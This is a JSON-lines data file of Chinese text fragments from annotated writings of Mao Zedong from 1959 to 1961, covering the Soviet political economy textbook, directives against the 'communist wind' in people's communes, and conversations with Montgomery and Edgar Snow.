    {"text": "注 释 〔1〕 一九五八年十一月第一次郑州会议期间，为了使各级领导干部更多地了解马克思主义基本经济理论，以更好地认识与纠正当时出现的一些错误倾向，毛泽东给中央、省区、地、县四级党委委员写信，建议读斯大林《苏联社会主义经济问题》和《马克思、恩格斯、列宁、斯大林论共产主义社会》，同时提出也可以读苏联《政治经济学教科书》。"},
    {"text": "一九五九年冬至一九六〇年春，毛泽东、刘少奇、周恩来分别组织了读书小组。 毛泽东组织的读书小组有陈伯达、胡绳、邓力群、田家英等参加。 这个读书小组从一九五九年十二月十日至一九六〇年二月九日，先后在杭州、上海和广州，采取边读边议的方法，通读苏联科学院经济研究所编的《政治经济学教科书》修订第三版下册（人民出版社一九五九年版），毛泽东发表了许多谈话。"},
    {"text": "”（《马克思恩格斯选集》第2卷，人民出版社1995年版，第112页） 〔3〕 《教科书》中包含这个引文的那段话是：“随着资本主义的消灭和生产资料的社会主义公有化，人们成为自己社会经济关系的主人。"},
    {"text": "当然，就是在社会主义制度下，也会有落后的惰性的力量，它们不了解生产关系有改变的必要，但是这种力量，当然不难克服，不致把事情弄到冲突的地步。"},
    {"text": "”（《斯大林选集》下卷，人民出版社一九七九年版，第577页） 〔5〕 指《教科书》中以下一段话：“然而，同以剥削为基础的社会形态不同，在社会主义制度下，这种矛盾不是对抗性的、不可调和的矛盾。"},
    {"text": "充分认识社会经济发展规律的社会主义国家，依靠群众——共产主义建设者的积极活动，能够及时克服产生的矛盾，因为在社会主义制度下，没有力图保存腐朽的经济关系的阶级，对社会发展进行着有意识的有计划的领导。"},
    {"text": "其核心是以主编狄德罗为首的唯物主义者，他们的基本政治倾向是反对封建特权制度和天主教会，主张一切制度和观念要在理性的审判庭上受到批评和衡量。"},
    {"text": "〔11〕 《教科书》中包含这个引文的那两段话是：“中国共产党创造性地运用马克思列宁主义的原则，巧妙地运用了国内现有的通过广泛利用国家资本主义作为过渡措施，并同民族资产阶级结成联盟，来实行和平的社会主义经济改造的客观可能性。"},
    {"text": "”“这个联盟是由中国革命的特点、中国革命的反封建反帝国主义的性质以及关心反对国际帝国主义及其在中国的走狗的统治的斗争的中国民族资产阶级的地位决定的。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第419——420页） 〔12〕 宋庆龄（一八九三——一九八一），广东文昌（今属海南）人，国民党左派政治活动家、孙中山夫人。"},
    {"text": "〔13〕 一九三一年九月十八日，日本驻在中国东北境内的所谓“关东军”进攻沈阳，中国人民习惯上称日本这次侵略行动为九一八事变。 事变发生后，驻沈阳及东北各地的中国军队执行蒋介石的不准抵抗的命令，使日军得以迅速地占领辽宁、吉林、黑龙江三省。"},
    {"text": "原文是：“中国革命的危机与社会阶级力量目前的组合说明并证实，反对封建制度的资产阶级民主革命（农民革命属之，只有这样，才可说到反帝国主义的斗争）是只有在反对已经反革命的资产阶级的斗争中，才可完成。"},
    {"text": "彻底的民族自由斗争不仅与发展工农群众运动或土地革命的要求毫无冲突，而且要直接以下层广大民众奋起推翻帝国主义之革命运动的扩大为前提。"},
    {"text": "” 〔17〕 立三路线，指第二次国内革命战争时期以李立三为代表的“左”倾冒险主义错误。 一九三〇年六月十一日，中共中央政治局在李立三主持下通过了《新的革命高潮与一省或几省首先胜利》的决议，形成了以他为代表的“左”倾冒险主义错误。 不久，李立三又制订了组织以武汉为中心的全国中心城市武装起义和集中全国红军进攻中心城市的冒险计划，随后又将党、青年团、工会的各级领导机关，合并为准备武装起义的各级行动委员会，使一切经常工作陷于停顿。 同年九月，中国共产党召开六届三中全会，纠正了李立三的“左”倾冒险主义错误。"},
    {"text": "〔18〕 《教科书》中包含这个引文的那段话是：“在现代条件下，在强大的社会主义阵营已经形成，资本主义总危机进一步深刻化，殖民体系进一步瓦解，社会主义、民主和和平的思想对于全体劳动人类具有极大的吸引力的情况下，在某些资本主义国家和过去的殖民地国家中，工人阶级通过议会和平地取得政权是有现实的可能性的。 在这些国家中，工人阶级如果把绝大多数的人民——劳动农民、小资产阶级、知识分子的广大阶层、国内的一切爱国力量——在自己的领导下团结起来，并且给机会主义分子以坚决的回击，就可能击败反动的反人民的势力，在议会中取得稳定的多数，把议会从资产阶级政权的机关变成人民的、工人的政权的机关，变成劳动者的民主的工具。"},
    {"text": "这样依靠着无产阶级和劳动群众的革命运动的真正人民的议会，将能够顺利地解决社会主义革命的根本任务，其中包括把基本生产资料变成人民的财产的任务。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第330页） 〔19〕 一九一七年俄国二月革命后，出现了资产阶级临时政府和工兵代表苏维埃两个政权并存的局面。"},
    {"text": "〔20〕 “三反”，指一九五一年十二月至一九五二年十月在国家机关、部队和国营企业等单位中开展的反对贪污、反对浪费、反对官僚主义的斗争。 “五反”，指一九五二年在全国资本主义工商业中开展的反对行贿、反对偷税漏税、反对盗骗国家财产、反对偷工减料、反对盗窃经济情报的斗争。"},
    {"text": "在另外一些脱离了资本主义体系的国家中，最初主要是解决一般民主主义的任务，同时，在许多情况下，革命在最初阶段主要是资产阶级民主性质的，只是后来才逐渐地发展成为社会主义革命。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第330——331页） 〔23〕 《共同纲领》，即《中国人民政治协商会议共同纲领》，一九四九年九月二十九日由中国人民政治协商会议第一届全体会议通过。"},
    {"text": "〔24〕 定息，是我国在资本主义工商业实行全行业公私合营后，对民族资本家的生产资料进行赎买的一种形式，即不论企业盈亏，统一由国家每年按照合营时清产核资确定的私股股额，发给资本家固定的利息（一般是年息百分之五）。"},
    {"text": "〔25〕 指《教科书》中以下一段话：“社会主义革命要在俄国取得胜利，至少要有中等的资本主义发展水平，这是因为俄国是无产阶级专政的唯一的国家。"},
    {"text": "现在，当社会主义已经在苏联取得了胜利，世界社会主义经济体系已经形成的时候，在资本主义不发达的、资本主义前经济形式占优势的国家里，由于先进的社会主义国家的帮助，也可以胜利地解决社会主义革命的任务。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第331页） 〔26〕 参见列宁《论粮食税》（《列宁选集》第4卷，人民出版社1995年版，第488——525页）。"},
    {"text": "〔27〕 《教科书》中包含这个引文的那段话是：“同时必须注意到，各国的社会主义革命虽然在主要方面和基本方面是一致的，但是它在每一个脱离了帝国主义体系的国家中必然具有自己特别的具体的社会主义建设的形式和方法，这些形式和方法是由每一个国家发展的历史、民族、经济、政治和文化条件，人民的传统，以及某一个时期的国际环境产生的。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第329页） 〔28〕 《莫斯科宣言》，指一九五七年十一月十四日至十六日在莫斯科召开的社会主义国家共产党和工人党代表会议通过的《社会主义国家共产党和工人党代表会议宣言》。 在这个《宣言》中，提出了普遍适用于各个走上社会主义道路的国家的九条共同的规律，即：以马克思列宁主义政党为核心的工人阶级，领导劳动群众进行这种形式或那种形式的无产阶级革命，建立这种形式或那种形式的无产阶级专政；"},
    {"text": "〔29〕 过渡时期的总路线是中共中央按照毛泽东的建议于一九五二年提出的。 一九五三年十二月中共中央批准的《关于党在过渡时期总路线的学习和宣传提纲》对总路线作了以下的表述：“从中华人民共和国成立，到社会主义改造基本完成，这是一个过渡时期。 党在这个过渡时期的总路线和总任务，是要在一个相当长的时期内，逐步实现国家的社会主义工业化，并逐步实现国家对农业、对手工业和对资本主义工商业的社会主义改造。"},
    {"text": "” 〔30〕 第一个五年计划，是一九五三年至一九五七年中华人民共和国发展国民经济的第一个五年计划的简称。 这个计划的编制，从一九五一年开始进行，历时四年，五易其稿，于一九五五年七月由第一届全国人民代表大会第二次会议正式通过。"},
    {"text": "执行的结果是，到一九五六年，基本上完成了对农业、手工业和资本主义工商业的社会主义改造，建立了社会主义的基本经济制度； 到一九五七年，计划规定的各项建设任务也胜利实现，许多指标超额完成，这就为国家工业化打下了初步基础，同时人民生活也得到了很大改善。"},
    {"text": "〔31〕 指一九五八年五月五日至二十三日在北京召开的中国共产党第八次全国代表大会第二次会议通过的“鼓足干劲、力争上游、多快好省地建设社会主义”的总路线。"},
    {"text": "纲要全文共四十条，提出了我国农业、畜牧业、林业、渔业、副业以及农村商业、信贷、交通、邮电、广播、科学、文化、教育、卫生等方面的发展规划。"},
    {"text": "”（《马克思恩格斯选集》第3卷，人民出版社1995年版，第759页） 〔36〕 《教科书》中包含这个引文的那段话是：“由于生产资料的公有化，社会主义国民经济各部门间生产资料和劳动力分配的必要比例是有计划地实现的。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第465页） 〔37〕 指《教科书》中以下一段话：“社会主义计划化建立在严格的科学基础上，它要求经常总结共产主义建设的实践，利用科学技术的一切成就。"},
    {"text": "” 〔39〕 指《教科书》中以下一段话：“在资本主义制度下，技术的发展极不平衡，必然加深生产中的比例失调现象，与此相反，社会主义计划经济保证根据国民经济的需要有计划地发展科学和技术。 ”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第482页） 〔40〕 指《教科书》中以下一段话：“生产资料生产的优先增长意味着工业的发展快于农业。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第623页） 〔41〕 《教科书》中包含这个引文的那段话是：“列宁的社会主义建设计划是以尽力发展国营工业和农民经济之间的经济联系为前提的。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第346页） 〔42〕 指《教科书》中以下一段话：“国家的工业化是在生产资料的生产比消费品的生产优先增长的规律作用的基础上实现的。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第365页） 〔43〕 《关于农业合作化问题》，见本书第六卷第418～442页。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第627页） 〔45〕 《教科书》中包含这个引文的那段话是：“同时，社会主义的分工可以使各个国家作为世界社会主义体系的平等成员，彼此取长补短，因而有可能节约财力和人力，消除国民经济中个别部门的不必要的平行发展，以加快各国经济发展的速度。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第659页） 〔46〕 见列宁《全俄中央执行委员会会议文献》中的《答左派社会革命党人的质问》。"},
    {"text": "”（《列宁全集》第33卷，人民出版社1985年版，第53页） 〔47〕 指《教科书》中以下一段话：“由于剥削的消灭，脑力劳动者和体力劳动者之间的关系根本改变了。"},
    {"text": "”（《马克思恩格斯全集》第23卷，人民出版社一九七二年版，第362页） 〔50〕 指《教科书》中以下一段话：“批评和自我批评是社会主义制度下新旧斗争的基本形式之一，是社会主义社会发展的强大动力。 批评和自我批评可以在发挥人民群众的积极性的基础上，揭露和消灭工作中的缺点和困难，铲除一切官僚主义现象，发现加速经济发展的新的潜力，从而克服社会主义社会的矛盾。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第453页） 〔51〕 指《教科书》中以下一段话：“随着社会主义的胜利和人剥削人的现象的消灭，苏联没有对抗性的阶级了，没有不可调和的阶级矛盾了。"},
    {"text": "公有制和社会主义的经济体系在苏联的统治地位，是社会主义社会的精神上政治上的一致、各族人民的友谊、苏维埃爱国主义这些强大的社会发展动力赖以发挥的经济基础。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第413页） 〔52〕 《教科书》中包含这个引文的那段话是：“在社会主义阶段，使工作者从个人的物质利益上关心劳动结果是刺激生产发展的决定因素之一。"},
    {"text": "”（苏联《政治经济学教科书》修订第三版下册，人民出版社一九五九年版，第487页） 〔53〕 经济主义，是十九世纪末二十世纪初俄国社会民主工党内的一种机会主义思潮。"},
    {"text": "经济主义反对工人阶级提出自己的政治要求，认为工人阶级只应当以罢工为手段，去进行争取改善经济状况和切身利益的斗争，否认无产阶级政党及其领导作用。"},
    {"text": "工团主义反对政治斗争，否定无产阶级政党的领导作用，否定无产阶级革命和无产阶级专政，宣传工会高于一切和管理一切，幻想以工会代替国家机构。"},
    {"text": "坚决制止重刮“共产风”等违法乱纪行为 坚决制止重刮“共产风” 等违法乱纪行为 * （一九六〇年三月二十三日） 各省、市、自治区党委，中央一级各部委、各党组： 此件 〔1〕 请各同志阅读，并请转发到县级党委。山东发现的问题，肯定各省、各市、各自治区都有，不过大同小异而已。问题严重，不处理不行。在一些县、社中，去年三月郑州决议 〔2〕 忘记了，去年四月上海会议十八个问题的规定 〔3〕 也忘记了，“共产风”、浮夸风、命令风又都刮起来了。一些公社工作人员很狂妄，毫无纪律观点，敢于不得上级批准，一平二调 〔4〕 。另外还有三风：贪污、浪费、官僚主义，又大发作，危害人民。什么叫做价值法则，等价交换，他们全不理会。所有以上这些，都是公社一级干的。范围多大，不很大，也不很小。是否有十分之一的社这样胡闹，要查清楚。中央相信，大多数公社是谨慎、公正、守纪律的，胡闹的只是少数。这个少数公社的所有工作人员，也不都是胡闹的，胡闹的只有其中一部分。对于这些人，应当分别情况，适当处理。教育为主，惩办为辅。对于那些最胡闹的，坚决撤掉，换上新人。平调方面的处理，一定要算账，全部退还，不许不退。对于大贪污犯，一定要法办。一些县委为什么没有注意这些问题呢？他们严重地丧失了职守，以后务要注意改正。对于少数县委实在不行的，也要坚决撤掉，换上新人。同志们须知，这是一个长期存在的问题，是一个客观存在。出现这些坏事，是必然不可避免的，是旧社会坏习惯的残余，要有长期教育工作，才能克服。因此，年年要整风，一年要开两次六级干部大会。全国形势大好，好人好事肯定占十分之九以上。这些好人好事，应该受到表扬。对于犯错误而不严重、自己又愿意改正的同志，应当采用教育方法，帮助他们改正错误，照样做工作。我们主张坚决撤掉或法办的，是指那些错误极严重、民愤极大的人们。在工作能力上实在不行、无法继续下去的人们，也必须坚决撤换。 注 释 * 这是毛泽东同志为山东六级干部会议秘书处编印材料的批语。 〔1〕 指山东省六级干部会议秘书处编印的《会议情况》第二期。这期简报反映的主要问题有：一、关于过渡问题。主要存在以下几种情况，1、有的公社干部存在急于过渡的苗头，有的打算明年“走到社有制”，有的打算“秋后搞过渡”；2、穷队盼过渡，富队怕过渡，生产不积极；3、对过渡的根据和一些问题的政策界限认识不清。二、关于发展社有经济问题。对于一平二调，社干部与队干部有不同看法。例如队干部批评公社无偿上调物资，公社干部却有抵触情绪顾虑算账问题。三、干部作风问题。有些县存在虚报浮夸现象；有的地方用大量生产资金和物料搞盖大礼堂、办公大楼和宾馆等非生产性建设；干部中存在吃喝浪费和贪污行为。 〔2〕 指一九五九年二月二十七日至三月五日在郑州召开的中共中央政治局扩大会议形成并下发的《郑州会议记录》。 〔3〕 指一九五九年三月二十五日至四月一日在上海召开的中共中央政治局扩大会议形成的会议纪要《关于人民公社的十八个问题》。这个纪要于同年四月二日至五日在上海举行的中共八届七中全会上原则通过。纪要对人民公社管理体制问题作了若干原则规定，进一步明确人民公社的所有制基本上是生产队所有制；并且将《郑州会议记录》中关于人民公社化过程中平调财物的旧账一般不算的规定，改为旧账一般要算，凡是县社调用生产队的劳力、资财，或者社队调用社员的私人财物，都要进行清理，如数归还，或者折价补偿。 〔4〕 一平二调是人民公社化运动中“共产风”的主要表现，即：在公社范围内实行贫富拉平平均分配；县、社两级无偿调走生产队（包括社员个人）的某些财物。三收款，指银行将过去发放给农村的贷款统统收回。"},
    {"text": "同蒙哥马利的谈话 同蒙哥马利的谈话 （一九六〇年五月二十七日） 蒙哥马利（简称蒙）：我来到中国发现西方对中国的看法完全错误，他们以为中国人是受压抑的，很不愉快，饿着肚皮。"},
    {"text": "毛：我们说有好处，因为美国制造紧张局势，就制造更多反对它的人，例如在南朝鲜、日本、土耳其以及拉丁美洲，很多国家都反对美国人的控制。"},
    {"text": "蒙：我有一个有趣的问题想问一下主席：中国大概需要五十年，一切事情就办得差不多了，人民生活会有大大的改善，房屋问题、教育问题和建设问题都解决了，到那时候，你看中国的前途将会怎样？"},
    {"text": "蒙：他必须带领人民去做最有利的事。 毛：他必须是为了人民的利益。 蒙：但是人民并不经常知道什么对他们最有利，领袖必须带领他们去做对他们有利的事情。"},
    {"text": "〔7〕 一九四一年十二月八日，日本未经宣战，突然袭击美国在太平洋地区的最大海空军基地珍珠港，击毁、击伤美国军舰十九艘，飞机二百余架，美国太平洋舰队遭到惨重损失。"},
    {"text": "〔10〕 一九五四年九月八日，在美国策动下，由美国、英国、法国、澳大利亚、新西兰、菲律宾、泰国和巴基斯坦在菲律宾首都马尼拉签订了《东南亚集体防务条约》，又称《马尼拉条约》。"},
    {"text": "一七七五年美国独立战争爆发后，任大陆军总司令，将武装落后、组织松散的地方民军整编训练成为能与英军正面抗衡的正规军，领导美国取得独立战争的胜利。"},
    {"text": "〔16〕 克伦威尔（一五九九——一六五八），十七世纪英国资产阶级革命时期的主要军事、政治领导人，独立派领袖，资产阶级新贵族集团的代表人物。"},
    {"text": "十二月武昌会议 〔6〕 ，作出了人民公社的长篇决议，基本正确，但只解决了集体、国营两种所有制的界线问题，社会主义与共产主义的界线问题，一共解决两个外部的界线问题，还不认识公社内部的三级所有制问题。"},
    {"text": "这个批评之所以作，是在会议开会之前两日，还没有一个成文的盘子交出来，不但各省不晓得，连我也不晓得，不和我商量，独断专行，我生气了，提出了批评。"},
    {"text": "管农业的同志，和管工业的同志，管商业的同志，在这一段时间内，思想方法有一些不对头，忘记了实事求是的原则，有一些片面思想（形而上学思想）。"},
    {"text": "一九六〇年六月上海会议 〔12〕 规定后三年 〔13〕 的指标，仍然存在一个极大的危险，就是对于留余地，对于藏一手，对于实际可能性还要打一个人大的折扣，当事人还不懂得。"},
    {"text": "〔2〕 指一九五八年五月五日至二十三日在北京举行的党的八大二次会议上通过的“鼓足干劲、力争上游、多快好省地建设社会主义”的总路线。"},
    {"text": "〔10〕 指一九五九年五月在北京举行的中共中央政治局会议。 〔11〕 指一九五九年七月二日至八月一日在庐山举行的中共中央政治局扩大会议和八月二日至十六日在庐山举行的中共八届八中全会。 〔12〕 指当时正在上海召开的中共中央政治局扩大会议。"},
    {"text": "〔17〕 指王任重一九五九年三月三十一日送毛泽东审阅的四份材料：王延春等三月二十七日关于麻城县万人大会情况和关于棉花技术措施问题给王任重并湖北省委的两个报告、王延春同日晚关于穷队赶富队问题给王任重的报告和湖北省委书记处书记许道琦三月二十三日关于与基层干部座谈“吃饭不要钱”问题给王任重、王延春并省委的报告。"},
    {"text": "其中关于麻城县万人大会情况的报告说，麻城县的万人大会采取县委的会议和公社的会议一起开的办法，把会内会外联系起来，把开会和领导结合起来，把干部开会和发动群众结合起来，内外呼应，连成一气。"},
    {"text": "算帐才能团结； 算帐才能帮助干部从贪污浪费的海洋中拔出身来，一身清净； 算帐才能教会干部学会经营管理方法； 算帐才能教会五亿农民自己管理自己的公社，监督公社的各级干部只许办好事，不许办坏事，实现群众的监督，实现真正的民主集中制。"},
    {"text": "同斯诺<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>的谈话——中国人的精神面貌改变了 同斯诺 〔1〕 的谈话 ——中国人的精神面貌改变了 * （一九六〇年十月二十二日） 毛泽东：你是哪一年离开延安的？"},
    {"text": "斯：他们争论得那么激烈，报上经常出现马祖和金门的名字，所以有一个人就编了一个笑话，说人们已经忘了两个总统候选人的名字，忘记了他们叫尼克松和肯尼迪，而以为他们叫马祖和金门。"},
    {"text": "还有百分之二十是城市里的小资产阶级，农村中的中农和富裕中农。 剩下的百分之十左右就是地主、富农、城市资产阶级和知识分子，中国有文化的主要是这一部分人。 还有百分之十左右的人是识字的，就是上层小资产阶级和富裕中农。"},
    {"text": "当然文盲不等于就没有文化，他们有些人会做很好的手工艺品，我们这房间里的雕刻可能都是不识字的人干的。 斯：对，不识字不等于没有文化。"},
    {"text": "斯：尽管中美之间现在并没有和平条约和协定，尽管有些美国人认为美国和中国之间实际上处于半战争状态，但是全世界的和平每天都取决于中国的责任感。"},
    {"text": "〔5〕 指中美大使级会谈，一九五五年四月二十三日，周恩来总理在亚非会议八国代表团团长会议上声明：中国政府愿意同美国政府谈判，讨论和缓远东紧张局势问题，特别是和缓台湾地区紧张局势问题。"},
    {"text": "〔8〕 贺龙、任弼时领导的红二、六军团经过长征，一九三六年七月同红四方面军会师于甘孜。 中央革命军事委员会令红二、六军团加上红三十二军合编为红二方面军，由贺龙任总指挥，任弼时任政委。"},
    {"text": "〔12〕 指南北战争，是一八六一年至一八六五年由美国南部种植园主奴隶制与北部资产阶级雇佣劳动制之间的矛盾所引起的资产阶级民主革命战争。"},
    {"text": "在战争过程中，代表北部资产阶级利益的联邦政府总统林肯颁布了《宅地法》和《解放黑奴宣言》，并采取其他民主措施，激发了工人、农民和黑人的革命斗志，因而联邦政府取得了战争的胜利。"},
    {"text": "彻底纠正“五风” 彻底纠正“五风” * （一九六〇年十一月十五日） 各中央局，各省委、市委、自治区党委： 发去湖北省委王任重同志报告 〔1〕 一件，湖北省沔阳县总结 〔2〕 一件，湖北省沔阳县通海口公社纠正错误后新情况报告 〔3〕 一件，供你们参考。 必须在几个月内下决心彻底纠正十分错误的共产风、浮夸风、命令风、干部特殊风和对生产瞎指挥风，而以纠正共产风为重点，带动其余四项歪风的纠正。"},
    {"text": "下决心的问题，要地、县、社三级下决心（坚强的贯彻到底的决心），首先要省委一级下决心，现在是下决心纠正错误的时候了。 只要情况明，决心大，方法对，根据中央十二条指示 〔4〕 ，让干部真正学懂政策（即十二条），又把政策交给群众，几个月时间就可把局面转过来，湖北的经验就是明证。"},
    {"text": "注 释 * 这是毛泽东同志为纠正“五风”写的党内指示。 〔1〕 指中共湖北省委第一书记王任重一九六〇年十一月十二日关于纠正“五风”给中南局第一书记陶铸并毛泽东的报告。"},
    {"text": "会议围绕“苦战三年，总结经验”这一主题，采取群众路线、整风和批评与自我批评的方法，充分发扬民主，让大家畅所欲言，先集中揭发错误，然后再作全面评价，目的是为了弄清真实情况，接受三年来的教训，使全党思想一致，团结一致，去战胜当前的困难，夺取农业丰收。"},
    {"text": "（四）这次整风整社的经验，就是通海口公社总结的五条：领导下决心，干部、群众“两头挤”，把兑现抓到底，明确地划界线，与生产扭在一起。"},
    {"text": "群众心情舒畅，对社会主义的误解消除了，对党的政策信任了，普遍树立了兴家立业、当家作主的思想，人人关心生产，爱护公物，生产队则大搞农田基本建设，改善经营条件。 干部作风有了显著改变，参加劳动已开始形成制度，通过生产了解了实际情况，克服了工作上的主观主义； 通过处理“共产风”，干部的政策水平有了提高，纠正了强迫命令、瞎指挥，使党群关系密切起来，干部工作也好做了。 这些变化，大大推动了生产和生活，使得生产出现高潮，生活面貌发生了改观，鼓舞了社员群众夺取明年大跃进的信心。"},
    {"text": "永远不许一平二调<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a> 永远不许一平二调 〔1〕 * （一九六〇年十一月二十八日） 各中央局，各省、市、区党委： 发去甘肃省委一九六〇年十一月二十五日报告 〔2〕 一件，很有参考价值，值得你们及地、县同志们认真研究一遍至两遍。甘肃省委在作自我批评了，看起来批评得还算切实、认真。看起来甘肃同志开始已经有了真正改正错误的决心了。毛泽东同志对这个报告看了两遍，他说还想看一遍，以便从其中吸取教训和经验。他自己说，他是同一切愿意改正错误的同志同命运、共呼吸的。他说，他自己也曾犯了错误，一定要改正。例如，错误之一，在北戴河决议中写上了公社所有制转变过程的时间，设想得过快了。在那个文件中有一段是他写的 〔3〕 ，那一段在原则上是正确的，规定由社会主义过渡到共产主义的原则和条件，是马列主义的。但是在那一段的开头几句规定过程的时间是太快了。那一段开头说：“由集体所有制向全民所有制过渡，是一个过程，有些地方可能较快，三、四年内就可以完成；有些地方可能较慢，需要五、六年或者更长的时间。”这种想法是不现实的。现在更正了，改为从现在起，至少（同志们注意，说的是至少）七年时间公社现行所有制不变，即使将来变的时候，也是队共社的产，而不是社共队的产。又规定从现在起至少二十年内社会主义制度（各尽所能，按劳付酬）坚决不变，二十年后是否能变，要看那时情况才能决定。所以说“至少”二十年不变。至于人民公社队为基础的三级所有制规定至少七年不变，也是这样。一九六七年以后是否能变，要看那时情况才能决定，也许再加七年，成为十四年后才能改变。总之，无论何时，队的产业永远归队所有或使用，永远不许一平二调。公共积累一定不能多，公共工程也一定不能过多。不是死规定几年改变农村面貌，而是依情况一步一步地改变农村面貌。甘肃省委这个报告，没有提到生活安排，也没有提到一、二、三类县、社、队的摸底和分析，这是缺点，这两个问题关系甚大，请大家注意。 注 释 * 这是毛泽东同志以中央名义起草的党内指示。 〔1〕 一平二调是人民公社化运动中“共产风”的主要表现，即：在公社范围内实行贫富拉平平均分配；县、社两级无偿调走生产队（包括社员个人）的某些财物。三收款，指银行将过去发放给农村的贷款统统收回。 〔2〕 指中共甘肃省委贯彻中央关于农村人民公社当前政策问题的紧急指示信给中央、西北局并发各地、市、州委和各县委的第四次报告。报告说，我省召开三级干部会议，深入检查了一再发生“共产风”的根源，认为应从省委领导工作中的缺点错误方面去寻找。主要存在三个方面的问题：第一关于执行中央政策问题，研究不够，领会不深，贯彻不力，甚至产生了一些偏差。例如，急于由基本队有制向基本社有制过渡；忽视小队小部分所有制和小队工作；对发展生产队的经济重视不够；收益分配政策定得不恰当等。第二，在指导人民公社发展生产和农村工作安排方面，没有把安排工作和贯彻政策结合起来，提出的任务大、要求急，对需要考虑多，对可能考虑少等等，因而出现一些违反政策的事。第三关于领导作风问题，对农业估产偏高，要求过高过急，作了一些不恰当的宣传，助长了“五风”的出现。 〔3〕 指毛泽东一九五八年八月在审阅《中共中央关于在农村建立人民公社问题的决议》稿时加写的一段文字：“人民公社建成以后，不要忙于改集体所有制为全民所有制，在目前还是以采用集体所有制为好，这可以避免在改变所有制的过程中发生不必要的麻烦。实际上，人民公社的集体所有制中，就已经包含有若干全民所有制的成分了。这种全民所有制，将在不断发展中继续增长，逐步地代替集体所有制。由集体所有制向全民所有制过渡，是一个过程，有些地方可能较快，三、四年内就可完成，有些地方，可能较慢，需要五、六年或者更长一些的时间。过渡到了全民所有制，如国营工业那样，它的性质还是社会主义的，各尽所能，按劳取酬。然后再经过多少年，社会产品极大地丰富了，全体人民的共产主义的思想觉悟和道德品质都极大地提高了，全民教育普及并且提高了，社会主义时期还不得不保存的旧社会遗留下来的工农差别、城乡差别、脑力劳动与体力劳动的差别，都逐步地消失了，反映这些差别的不平等的资产阶级法权的残余，也逐步地消失了，国家职能只是为了对付外部敌人的侵略，对内已经不起作用了，在这种时候，我国社会就将进入各尽所能，各取所需的共产主义时代。”"},
    {"text": "我们在井冈山时期红四军的布告中就讲平买平卖，“八项注意”中就有买卖公平这一条。 平买平卖就是等价交换。 我们历来主张买卖公平，等价交换。"},
    {"text": "退赔也要有界限，在大办水利、大办交通、大办副食品基地等方面，要由国家退赔一部分。 应当由国家退赔的，不能让县、社赔。 退赔要让县、社两级干部思想上搞通，不通就不能改正。"},
    {"text": "注 释 * 这是毛泽东同志在中共中央工作会议上听取汇报时插话的节录，这次中央工作会议一九六〇年十二月二十四日至一九六一年一月十三日在北京召开。"},
    {"text": "〔5〕 指一九五九年三月二十五日至四月一日在上海召开的中共中央政治局扩大会议的会议纪要《关于人民公社的十八个问题》。 〔6〕 指在郑州召开的中共中央政治局扩大会议一九五九年三月五日通过的《郑州会议纪要》规定的作为整顿和建设人民公社的方针的十四句话。"},
    {"text": "这个记录是一九五九年二月二十七日至三月五日在郑州召开的中共中央政治局扩大会议形成并下发的。 记录共三部分：（一）《郑州会议纪要》；"},
    {"text": "大兴调查研究之风 大兴调查研究之风 * （一九六一年一月十三日） 这一次中央工作会议，开得比过去几次都要好一些，大家的头脑比较清醒一些。"},
    {"text": "调查研究极为重要，要教会所有的省委书记加上省委常委、省一级和省的各个部门的负责同志、地委书记、县委书记、公社党委书记做调查研究。"},
    {"text": "过去我们开一次会议，决议很多，以为这些决议会灵，其实并不那么灵。 会议的决议，多不一定灵，少也不一定灵，关键还是在于情况明不明，决心大不大，方法对不对。"},
    {"text": "报告说，为了发动群众，算清生产队的账，县委决定采取开动员会、小组会、个别谈话、搞试点和开广播大会等方式，交代政策，动员社员参加算账。"},
    {"text": "另注：王任重一九五九年三月三十一日报送毛泽东四份材料：王延春等三月二十七日关于麻城县万人大会情况和关于棉花技术措施问题给王任重并湖北省委的两个报告，王延春同日关于穷队赶富队问题给王任重的报告，湖北省委书记许道琦三月二十三日关于与基层干部座谈“吃饭不要钱”问题给王任重、王延春并省委的报告。"},
    {"text": "其中关于麻城县万人大会情况的报告说，麻城县的万人大会上，县、公社、管理区三级党委层层检讨，承认错误，带动基层干部也纷纷检讨，密切了上下级关系。"},
    {"text": "并且将《郑州会议记录》中关于人民公社化过程中平调财物的旧账一般不算的规定，改为旧账一般要算，凡是县社调用生产队的劳力、资财，或者社队调用社员的私人财物，都要进行清理，如数归还，或者折价补偿。"},
    {"text": "要做系统的由历史到现状的调查研究 要做系统的 由历史到现状的调查研究 * （一九六一年三月十三日） 这次会议要解决两个很重要的问题：一是生产队与生产队之间的平均主义；"},
    {"text": "省委第一书记要亲自做调查研究，我也是第一书记，我只抓第一书记。 其他的书记也要做调查研究，由你们负责去抓。 只要省、地、县、社四级党委的第一书记都做调查研究，事情就好办了。"},
    {"text": "自己到处跑或者住下来做一个星期到十天的调查，主要是应该住下来做一番系统的调查研究。 农村情况，只要先调查清楚一个乡就比较好办了，再去调查其他乡那就心中有数了。"},
    {"text": "人民公社三年没有搞条例，当然也搞了些规定，比如北戴河会议的决议 〔4〕 ，武昌会议的决议 〔5〕 ，郑州会议的记录 〔6〕 ，上海会议十八条 〔7〕 ，我写给生产队、生产小队信里提的六条 〔8〕 。"},
    {"text": "注 释 * 一九六一年三月十日至十三日，毛泽东在广州召开的中共中央中南局、西南局、华东局负责人和这三个地区所属省市自治区党委负责人参加的工作会议（称南三区会议），这是毛泽东同志在工作会议上讲话的主要部分。"},
